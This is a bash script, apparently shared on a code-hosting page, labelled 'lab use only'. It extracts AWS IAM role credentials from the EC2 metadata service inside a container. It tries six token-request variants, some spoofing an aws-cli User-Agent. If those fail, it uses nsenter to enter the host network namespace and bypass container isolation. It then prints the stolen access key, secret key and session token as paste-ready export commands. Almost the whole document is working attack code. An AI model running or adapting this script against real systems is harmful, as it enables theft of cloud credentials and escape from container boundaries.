#!/bin/bash
# Enhanced IAM Credential Extractor (Lab Use Only)
# Handles IMDSv2 token retrieval with multiple fallback methods
# Includes debugging and enhanced error handling
echo "==== Enhanced IAM Credential Extractor (Lab Use Only) ===="
echo ""
# Global variables
TOKEN=""
ROLE_NAME=""
CREDS=""
DEBUG=${DEBUG:-0}
# Debug function
debug_log() {
if [ "$DEBUG" -eq 1 ]; then
echo "[DEBUG] $1" >&2
fi
}
# Enhanced metadata service check - skip token validation for connectivity test
check_metadata_access() {
echo "[*] Checking metadata service accessibility..."
# Test basic connectivity first
if timeout 5 nc -z 169.254.169.254 80 2>/dev/null; then
echo "[+] Port 80 is reachable on 169.254.169.254"
else
echo "[-] Port 80 not reachable on 169.254.169.254"
return 1
fi
# For IMDSv2, HTTP 401 on root endpoint is expected and means service is working
local response
response=$(timeout 10 curl -s -w "%{http_code}" -o /dev/null http://169.254.169.254/ 2>/dev/null)
debug_log "HTTP response code: $response"
if [ "$response" -eq 200 ] || [ "$response" -eq 404 ] || [ "$response" -eq 403 ] || [ "$response" -eq 401 ]; then
if [ "$response" -eq 401 ]; then
echo "[+] Metadata service responding with HTTP 401 (IMDSv2 enforced - this is expected)"
else
echo "[+] Metadata service is responding (HTTP $response)"
fi
return 0
else
echo "[-] Metadata service not responding properly (HTTP $response)"
return 1
fi
}
# Enhanced token retrieval with multiple methods
# Enhanced token retrieval with better error handling and debugging
get_token_method1() {
echo "[*] Method 1: Standard IMDSv2 token request..."
# Make the request and capture both response and HTTP code
local temp_output=$(mktemp)
local temp_headers=$(mktemp)
timeout 10 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
http://169.254.169.254/latest/api/token 2>/dev/null
local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
rm -f "$temp_output" "$temp_headers"
# Default http_code if parsing failed
[ -z "$http_code" ] && http_code="000"
debug_log "HTTP code: $http_code, Token length: ${#TOKEN}"
debug_log "Token content: ${TOKEN:0:50}..."
if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
echo "[+] Method 1 successful - Token: ${TOKEN:0:20}..."
return 0
elif [ "$http_code" -eq 403 ] 2>/dev/null; then
echo "[-] Method 1 failed - HTTP 403: IMDSv2 token requests blocked"
elif [ "$http_code" -eq 404 ] 2>/dev/null; then
echo "[-] Method 1 failed - HTTP 404: IMDSv2 endpoint not found"
elif [ "$http_code" -eq 401 ] 2>/dev/null; then
echo "[-] Method 1 failed - HTTP 401: Unauthorized token request"
else
echo "[-] Method 1 failed - HTTP $http_code (connection/timeout issue)"
fi
return 1
}
get_token_method2() {
echo "[*] Method 2: IMDSv2 with alternative timeout and headers..."
local temp_output=$(mktemp)
local temp_headers=$(mktemp)
timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 3600" \
-H "Connection: close" \
http://169.254.169.254/latest/api/token 2>/dev/null
local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
rm -f "$temp_output" "$temp_headers"
[ -z "$http_code" ] && http_code="000"
debug_log "Method 2 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
echo "[+] Method 2 successful - Token: ${TOKEN:0:20}..."
return 0
fi
echo "[-] Method 2 failed - HTTP $http_code"
return 1
}
get_token_method3() {
echo "[*] Method 3: IMDSv2 with User-Agent and IPv4 binding..."
local temp_output=$(mktemp)
local temp_headers=$(mktemp)
timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
-H "User-Agent: aws-cli/2.0" \
--ipv4 \
http://169.254.169.254/latest/api/token 2>/dev/null
local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
rm -f "$temp_output" "$temp_headers"
[ -z "$http_code" ] && http_code="000"
debug_log "Method 3 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
echo "[+] Method 3 successful - Token: ${TOKEN:0:20}..."
return 0
fi
echo "[-] Method 3 failed - HTTP $http_code"
return 1
}
get_token_method4() {
echo "[*] Method 4: Using wget for token request..."
if ! command -v wget >/dev/null; then
echo "[-] Method 4 skipped - wget not available"
return 1
fi
local temp_file=$(mktemp)
# Use wget with server response
if timeout 15 wget -q -S -O "$temp_file" \
--method=PUT \
--header="X-aws-ec2-metadata-token-ttl-seconds: 21600" \
http://169.254.169.254/latest/api/token 2>&1 | grep -q "200 OK"; then
TOKEN=$(cat "$temp_file" 2>/dev/null | tr -d '\r\n\t ')
rm -f "$temp_file"
if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
echo "[+] Method 4 successful - Token: ${TOKEN:0:20}..."
return 0
fi
fi
rm -f "$temp_file"
echo "[-] Method 4 failed"
return 1
}
# Method 5: Try with different curl options
get_token_method5() {
echo "[*] Method 5: Token request with alternative curl options..."
# Try without interface binding, just basic curl
local temp_output=$(mktemp)
timeout 15 curl -s -o "$temp_output" \
--max-time 10 \
--connect-timeout 5 \
-X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
-w "HTTPCODE:%{http_code}" \
http://169.254.169.254/latest/api/token 2>/dev/null > /tmp/curl_debug.out
local http_code=$(grep "HTTPCODE:" /tmp/curl_debug.out 2>/dev/null | cut -d: -f2)
TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
rm -f "$temp_output" /tmp/curl_debug.out
[ -z "$http_code" ] && http_code="000"
debug_log "Method 5 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
echo "[+] Method 5 successful - Token: ${TOKEN:0:20}..."
return 0
fi
echo "[-] Method 5 failed - HTTP $http_code"
return 1
}
# Method 6: Try with minimal headers
get_token_method6() {
echo "[*] Method 6: Minimal token request..."
# Sometimes containers have issues with certain headers, try minimal approach
TOKEN=$(timeout 10 curl -s -X PUT \
"http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null | tr -d '\r\n\t ')
debug_log "Method 6 - Token: ${TOKEN:0:50}..."
if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
echo "[+] Method 6 successful - Token: ${TOKEN:0:20}..."
return 0
fi
echo "[-] Method 6 failed"
return 1
}
# Try all token methods with enhanced error reporting
get_token() {
local ns="$1"
echo "[*] Getting IMDSv2 token ($ns)..."
if [ "$ns" == "container" ]; then
# Try multiple methods in sequence
echo "[*] Attempting container-based token retrieval..."
get_token_method1 && return 0
get_token_method2 && return 0
get_token_method3 && return 0
command -v wget >/dev/null && get_token_method4 && return 0
get_token_method5 && return 0
get_token_method6 && return 0
echo "[-] All container token methods failed"
echo "[!] This usually indicates:"
echo " 1. Container has restricted IMDSv2 access"
echo " 2. Network policy blocking metadata access"
echo " 3. Container runtime security restrictions"
echo " 4. EC2 instance may not have proper IMDSv2 configuration"
else
# Host namespace method
echo "[*] Attempting host namespace token retrieval..."
local token_result
token_result=$(curl_hostns "latest/api/token" "-X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" 2>/dev/null)
if [ -n "$token_result" ] && [ ${#token_result} -gt 10 ]; then
TOKEN="$token_result"
echo "[+] Host namespace token successful - Token: ${TOKEN:0:20}..."
return 0
else
echo "[-] Host namespace token failed"
debug_log "Host namespace token result: '$token_result'"
fi
fi
return 1
}
# Enhanced role name retrieval
get_role_name() {
local ns="$1"
echo "[*] Getting IAM role name ($ns)..."
if [ "$ns" == "container" ]; then
# Try with different approaches
ROLE_NAME=$(timeout 10 curl -s \
-H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
# Alternative method if first fails
if [ -z "$ROLE_NAME" ]; then
debug_log "Trying alternative role name method..."
ROLE_NAME=$(timeout 10 curl -s \
-H "X-aws-ec2-metadata-token: $TOKEN" \
-H "User-Agent: aws-cli/2.0" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
fi
else
ROLE_NAME=$(curl_hostns "latest/meta-data/iam/security-credentials/" "-H 'X-aws-ec2-metadata-token: $TOKEN'")
fi
# Clean up role name (remove whitespace/newlines)
ROLE_NAME=$(echo "$ROLE_NAME" | tr -d '\r\n' | head -n 1)
if [ -n "$ROLE_NAME" ]; then
echo "[+] Found IAM role: $ROLE_NAME"
return 0
else
echo "[-] No IAM role found"
debug_log "Role name response was empty or invalid"
return 1
fi
}
# Enhanced credentials retrieval
get_credentials() {
local ns="$1"
echo "[*] Getting IAM credentials ($ns)..."
if [ "$ns" == "container" ]; then
CREDS=$(timeout 15 curl -s \
-H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
# Try alternative method if first fails
if [ -z "$CREDS" ] || ! echo "$CREDS" | grep -q "AccessKeyId"; then
debug_log "Trying alternative credentials method..."
CREDS=$(timeout 15 curl -s \
-H "X-aws-ec2-metadata-token: $TOKEN" \
-H "User-Agent: aws-cli/2.0" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
fi
else
CREDS=$(curl_hostns "latest/meta-data/iam/security-credentials/$ROLE_NAME" "-H 'X-aws-ec2-metadata-token: $TOKEN'")
fi
debug_log "Credentials response: ${CREDS:0:100}..."
if [ -n "$CREDS" ] && echo "$CREDS" | grep -q "AccessKeyId"; then
echo "[+] Retrieved credentials successfully!"
return 0
else
echo "[-] Failed to retrieve valid credentials"
debug_log "Credentials were empty or malformed"
return 1
fi
}
# Function to get host PID (enhanced)
get_host_pid() {
# Try multiple methods to get host PID
local host_pid
# Method 1: Docker inspect
host_pid=$(docker inspect --format '{{.State.Pid}}' $(hostname) 2>/dev/null)
[ -n "$host_pid" ] && echo "$host_pid" && return
# Method 2: Check /proc/1/cgroup
if [ -f /proc/1/cgroup ] && grep -q docker /proc/1/cgroup; then
host_pid=$(ps aux | grep '[d]ockerd' | head -n 1 | awk '{print $2}' 2>/dev/null)
[ -n "$host_pid" ] && echo "$host_pid" && return
fi
# Method 3: Try to find container runtime process
host_pid=$(pgrep -f containerd 2>/dev/null | head -n 1)
[ -n "$host_pid" ] && echo "$host_pid" && return
return 1
}
# Enhanced host namespace curl
curl_hostns() {
local path="$1"
local token_header="$2"
local host_pid
host_pid=$(get_host_pid)
if [ -n "$host_pid" ] && command -v nsenter &>/dev/null; then
debug_log "Using nsenter with PID: $host_pid"
nsenter -t "$host_pid" -n timeout 15 curl -s $token_header "http://169.254.169.254/$path" 2>/dev/null
else
debug_log "nsenter not available or host PID not found"
return 1
fi
}
# Enhanced credential export
export_credentials() {
echo "[*] Parsing and exporting credentials..."
# Try jq first, then fall back to grep
if command -v jq >/dev/null 2>&1; then
ACCESS_KEY=$(echo "$CREDS" | jq -r '.AccessKeyId' 2>/dev/null)
SECRET_KEY=$(echo "$CREDS" | jq -r '.SecretAccessKey' 2>/dev/null)
SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Token' 2>/dev/null)
EXPIRATION=$(echo "$CREDS" | jq -r '.Expiration' 2>/dev/null)
else
ACCESS_KEY=$(echo "$CREDS" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1)
SECRET_KEY=$(echo "$CREDS" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1)
SESSION_TOKEN=$(echo "$CREDS" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1)
EXPIRATION=$(echo "$CREDS" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1)
fi
debug_log "Parsed - AccessKey: ${ACCESS_KEY:0:10}..., SecretKey: ${SECRET_KEY:0:10}..., Token: ${SESSION_TOKEN:0:20}..."
if [ -n "$ACCESS_KEY" ] && [ -n "$SECRET_KEY" ] && [ -n "$SESSION_TOKEN" ]; then
echo ""
echo "============================================"
echo "# 🎯 AWS Credentials Successfully Retrieved!"
echo "============================================"
echo ""
echo "# Copy and paste these commands:"
echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\""
echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\""
echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\""
echo ""
if [ -n "$EXPIRATION" ]; then
echo "# Credentials expire at: $EXPIRATION"
echo ""
fi
echo "# Verify with: aws sts get-caller-identity"
echo "============================================"
return 0
else
echo "[-] Failed to parse credentials properly"
debug_log "Raw credentials: $CREDS"
return 1
fi
}
# Enhanced debugging mode with network diagnostics
enable_debug() {
export DEBUG=1
echo "[DEBUG] Debug mode enabled"
echo "[DEBUG] Container ID: $(hostname)"
echo "[DEBUG] Available tools: curl=$(command -v curl), wget=$(command -v wget), jq=$(command -v jq), nsenter=$(command -v nsenter)"
echo "[DEBUG] Container environment:"
echo "[DEBUG] - Docker env file: $([ -f /.dockerenv ] && echo "Present" || echo "Not found")"
echo "[DEBUG] - Cgroup: $(head -n 1 /proc/1/cgroup 2>/dev/null | grep -o 'docker\|containerd\|podman' || echo "Unknown")"
echo "[DEBUG] Network interfaces:"
ip addr show 2>/dev/null | grep -E "(inet|UP)" || ifconfig 2>/dev/null | grep -E "(inet|UP)"
echo "[DEBUG] Default route:"
ip route show default 2>/dev/null || route -n 2>/dev/null | grep "^0.0.0.0"
echo "[DEBUG] DNS configuration:"
cat /etc/resolv.conf 2>/dev/null | head -3
echo "[DEBUG] Testing basic connectivity to metadata service:"
# Test raw connectivity
timeout 5 nc -z 169.254.169.254 80 2>/dev/null && echo "[DEBUG] - Port 80: OPEN" || echo "[DEBUG] - Port 80: CLOSED/FILTERED"
# Test with ping (if available)
if command -v ping >/dev/null; then
timeout 3 ping -c 1 169.254.169.254 >/dev/null 2>&1 && echo "[DEBUG] - Ping: SUCCESS" || echo "[DEBUG] - Ping: FAILED"
fi
# Test HTTP response
local test_response
test_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code} TIME:%{time_total}" http://169.254.169.254/ 2>/dev/null)
echo "[DEBUG] - HTTP test: $test_response"
}
# Main execution with enhanced error handling
main() {
# Check if debug mode requested
if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then
enable_debug
fi
echo "[*] Starting container-based IMDSv2 credential extraction..."
# Check if we're in a container
if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
echo "[+] Container environment detected"
else
echo "[!] Warning: Not in a container environment"
fi
# Try container network first
if check_metadata_access; then
echo "[*] Attempting credential extraction from container namespace..."
if get_token "container" && get_role_name "container" && get_credentials "container"; then
if export_credentials; then
exit 0
fi
fi
fi
echo ""
echo "[*] Container method failed, attempting host network namespace..."
# Check prerequisites for host namespace method
if ! command -v nsenter >/dev/null; then
echo "[-] nsenter not available - cannot try host namespace method"
echo "[!] Try: apt-get update && apt-get install -y util-linux"
elif ! get_host_pid >/dev/null; then
echo "[-] Cannot determine host PID - host namespace method unavailable"
else
if get_token "hostns" && get_role_name "hostns" && get_credentials "hostns"; then
if export_credentials; then
exit 0
fi
fi
fi
echo ""
echo "============================================"
echo "[-] ❌ Could not retrieve credentials"
echo "============================================"
echo ""
echo "Possible issues:"
echo "1. IMDSv2 is enforced but container has limited access"
echo "2. Container is not running on an EC2 instance with IAM role"
echo "3. Network restrictions prevent metadata access"
echo "4. Container runtime restrictions"
echo ""
echo "Try running with debug mode: $0 --debug"
echo "============================================"
exit 1
}
# Run with all arguments
main "$@"
Comments
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎